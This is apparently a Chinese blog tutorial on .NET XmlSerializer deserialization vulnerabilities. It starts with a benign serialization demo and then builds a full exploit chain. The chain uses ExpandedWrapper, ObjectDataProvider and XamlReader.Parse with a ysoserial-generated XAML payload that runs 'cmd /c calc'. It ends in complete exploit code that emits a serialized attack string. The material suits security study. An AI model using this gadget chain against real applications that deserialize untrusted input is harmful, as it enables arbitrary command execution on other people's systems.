首页 > 其他分享 >[DotnetSec]XmlSerializer 反序列化 分析

[DotnetSec]XmlSerializer 反序列化 分析

时间:2024-02-26 17:25:28浏览次数:30  
标签:memoryStream expandedWrapper ExpandedWrapper DotnetSec new XmlSerializer 序列化

Dotnet - XmlSerializer 反序列化

序列化和反序列化的演示Demo

参考微软的文档:https://learn.microsoft.com/zh-cn/dotnet/api/system.xml.serialization.xmlserializer?view=net-5.0

  • XmlSerializer

命名空间:System.Xml.Serialization

程序集:System.Xml.XmlSerializer.dll

  • 演示demo

注解:

[XmlRoot]	// XML根
[XmlElement] // XML中的实体节点
[XmlArray("Items")]
[XmlAttribute]	// 声明的对应变量位于XML元素的开始标签属性   <book name="1"></book>  比如name

如何进行序列化:

  1. 声明内存空间,使用流对象代理
  2. 声明写内存的StreamWriter对象,由于序列化需要传入Textwriter类型,所以声明为Textwriter
// 传入类型, 指明了xml文档对应的对象类型
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));

// 声明流
MemoryStream memoryStream = new MemoryStream();

// TextWriter为写连续字符的抽象类
TextWriter writer = new StreamWriter(memoryStream);

// 序列化
xmlSerializer.Serialize(writer, p);

// 输出序列化后的xml文档
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));

反序列化

// 重置流指针, 为反序列化做准备
memoryStream.position = 0;
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);

完整代码:

namespace XmlDeserialization
{
    // XML
    [XmlRoot]
    public class Person
    {
        [XmlElement]
        public int Age { get; set; }
        
        // XML文档中的一个元素 
        [XmlElement]
        public string Name { get; set; }

        [XmlArray("Items")] 
        public Order[] OrderedItems;
        
        // XML元素的开始标签属性   <book name="1"></book>  比如name
        [XmlAttribute]
        public string ClassName { get; set; } 

    }

    public class Order
    {
        public int OrderID;
    }
     
    // 测试
    internal class Program
    {
        public static void Main(string[] args)
        {
            Person p = new Person();
            p.Name = "jack";
            p.Age = 12;
            // 两份 order
            Order order = new Order();
            order.OrderID = 123;
            Order order1 = new Order();
            order.OrderID = 456;
            Order[] orders = new Order[] { order, order1 };
            p.OrderedItems = orders;
            p.ClassName = "classname";
                        
            XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
            //XmlSerializer xmlSerializer = new XmlSerializer(p.GetType());
            //XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType("XmlDeserialization.Person"));
                        
            MemoryStream memoryStream = new MemoryStream();
            TextWriter writer = new StreamWriter(memoryStream);
            
            // 序列化
            xmlSerializer.Serialize(writer, p);
            
            memoryStream.Position = 0;
            
            // 输出xml
            Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
            // 反序列化
            Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
            Console.WriteLine(p1);
        }
    }
}    

反序列化漏洞分析

环境配置

首先需要下载好依赖,使用NuGet,有GUI很舒服

(可以去微软文档查看对应函数需要的程序集)

image-20240224154616524

以及添加引用using System.Data.Services.Internal;

image-20240224155504380

ObjectDataProvider使用

官方文档的介绍:https://learn.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider?view=windowsdesktop-8.0

Wraps and creates an object that you can use as a binding source.

演示demo

ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe");		// 参数
o.MethodParameters.Add("/c calc");		
o.MethodName = "Start";					// 对象方法
o.ObjectInstance = new Process();		// 绑定的对象实例

但是没办法对该对象进行XML序列化,那么自然也就没有反序列化

具体原因如报错:

未经处理的异常: System.InvalidOperationException: 生成 XML 文档时出错。 ---> System.InvalidOperationException: 不应是类型 System.Diagnostics.Process。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。

未动态执行前,无法得知ObjectDataProvider绑定的对象信息

image-20240226103005923

image-20240226103044699

ExpandedWrapper包装器

  • ExpandedWrapper包装类定义如下:主要是一个泛型的思想在这
  public sealed class ExpandedWrapper<TExpandedElement, TProperty0> : 
    ExpandedWrapper<TExpandedElement>
  {
    /// <summary>Get or sets the property to expand.</summary>
    /// <returns>The property to expand.</returns>
    public TProperty0 ProjectedProperty0 { get; set; }

    protected override object InternalGetExpandedPropertyValue(int nameIndex)
    {
      if (nameIndex == 0)
        return (object) this.ProjectedProperty0;
      throw Error.NotSupported();
    }
  }
  • 使用方法:

TProperty0表示要包装的类型

ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Process, ObjectDataProvider>();

序列化

        ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper =
            new ExpandedWrapper<Process, ObjectDataProvider>();
        expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
        expandedWrapper.ProjectedProperty0.MethodName = "Start";
        expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
        expandedWrapper.ProjectedProperty0.ObjectInstance = new Process();

        Type t = typeof(ExpandedWrapper<Process, ObjectDataProvider>);

        XmlSerializer xml = new XmlSerializer(t);
        MemoryStream memoryStream = new MemoryStream();
        TextWriter writer = new StreamWriter(memoryStream);
        xml.Serialize(writer, expandedWrapper);

通过泛型类包装可以绕过序列化时因未知类型而失败的限制

但是Process类中存在接口,无法被序列化

image-20240226144123413

ResourceDictionary攻击链

Windows Presentation Foundation (WPF) :一个独立于分辨率并使用基于矢量的渲染引擎的 UI 框架

XAML 是一种声明性标记语言。当应用于 .NET 编程模型时,XAML 简化了为 .NET 应用程序创建 UI

ResourceDictionary包含了wpf,那么自然可以涉及到xaml

首先我们使用yso生成XAML形式打ObjectDataProvider的反序列化链

> ysoserial.exe -g ObjectDataProvider -c calc -f Xaml               
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

配合ExpandedWrapper, ObjectDataProvider思路:

XmlSerializer-- ExpandedWrapper<XamlReader, ObjectDataProvider> -- ObjectDataProvidfer -- XamlReader.Parse

完整exp如下:

            string cmd = @"<?xml version=""1.0"" encoding=""utf-16""?>
<ObjectDataProvider MethodName=""Start"" IsInitialLoadEnabled=""False"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments=""/c calc"" StandardErrorEncoding=""{x:Null}"" StandardOutputEncoding=""{x:Null}"" UserName="""" Password=""{x:Null}"" Domain="""" LoadUserProfile=""False"" FileName=""cmd"" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>";
            
            
            ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper =
                new ExpandedWrapper<XamlReader, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            // 设置ObjectDataProvider的相关参数
            expandedWrapper.ProjectedProperty0.MethodName = "Parse";
            expandedWrapper.ProjectedProperty0.MethodParameters.Add(cmd);
            expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
            
            
            // 序列化
            MemoryStream memoryStream = new MemoryStream();
            TextWriter textWriter = new StreamWriter(memoryStream);
            XmlSerializer xmlSerializer = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
            xmlSerializer.Serialize(textWriter, expandedWrapper);
            string XMLShell = Encoding.UTF8.GetString(memoryStream.ToArray());
            
			// 
            Console.WriteLine(XMLShell);

参考文献

https://github.com/Y4er/dotnet-deserialization

标签:memoryStream,expandedWrapper,ExpandedWrapper,DotnetSec,new,XmlSerializer,序列化
From: https://www.cnblogs.com/icfh/p/18034762

相关文章

  • 对象序列化内存占用问题
     一般而言,前端发起一个查询,后端接收请求而后去数据库检索并得到结果集,之后序列化为字符串返回给前端展示。在序列化方法接收一个集合到序列化(比如这里是json)的过程中,内存占用会增大吗?肯定会的,总体而言我们new出的对象,对象引用的字符、数字等都是存放在堆内存中;未序列化这些对......
  • [dotnet-Sec]初探反序列化
    [dotnet-Sec]初探反序列化参考Github上y4✌的开源笔记,狠狠学!环境搭建.NET:5.0IDE:Rider(JB家族)新建项目选择.NETCore(支持跨平台)下的控制台应用程序,然后创建这是接触到的关于dotnet的第一个反序列化demo,使用的是BinaryFormatter生成二进制流//Disablethewarning.#pragma......
  • Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现
    0x00漏洞简介OracleFusionMiddleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。OracleWebLogicServer是其中的一个适用于云环境和传统环境的应用服务器组件。OracleFusionMiddleware中的Oracle......
  • Apache Shiro反序列化漏洞 (CVE-2016-4437)复现
    0x00漏洞简介ApacheShiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。ApacheShiro1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触......
  • python实战:使用json序列化
    一,官方文档:https://docs.python.org/zh-cn/3/library/json.html二,json与字典的相互转化1,字典转json字符串1234567importjson #字典转jsond=dict(name='Tom',age=2,score=88)json_d=json.dumps(d)print(type(json_d))print(json_d)......
  • rust结构体包含另一个结构体引用时,serde序列化问题
    代码如下useserde::{Deserialize,Serialize};#[derive(Serialize,Deserialize)]structPerson{id:String,name:String,}#[derive(Serialize,Deserialize)]structMsg<'a>{id:String,person:&'aPerson,}fnmain(){......
  • JAVA基础-序列化
    1,什么是序列化?Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程。2,序列化的使用场景永久性保存对象,保存对的字节序列到本地文件或者数据库中;通过序列化以字节流的形式对象在网络中进行传递和接收;通过序列化在进程间传递......
  • 【常见问题】Java 8 date time type `java.time.LocalDateTime` not supported by def
    问题描述将一个包含LocalDateTime对象的集合进行序列化和反序列化时,可能会遇到以下异常:Causedby:com.fasterxml.jackson.databind.exc.InvalidDefinitionException:Java8date/timetype`java.time.LocalDate`notsupportedbydefault:addModule"com.fasterxml.jack......
  • jackson序列化问题
    在对对象进行jackson序列化的时候,有时候会出现序列化后的变量名称大小写错误的情况。测试的实体类TestEntity2如下:public class TestEntity2 {    private String aBcd;    private String qWER;    private String qWERty;    private String qWERty......
  • PHP项目&变量覆盖&反序列化&未授权访问&身份验证
    CNVD拿1day-验证&未授权-xhcms&Bosscms此种漏洞由于没有什么关键函数,所以需要通过功能点去进行测试。Bosscms未授权访问CNVD官网上搜索Bosscms未授权访问漏洞。根据描述,影响的是1.0版本。看到发送时间为21年12月29好,收录时间为22年1月18号。再去官网看版本更新的时间点,V1.0版......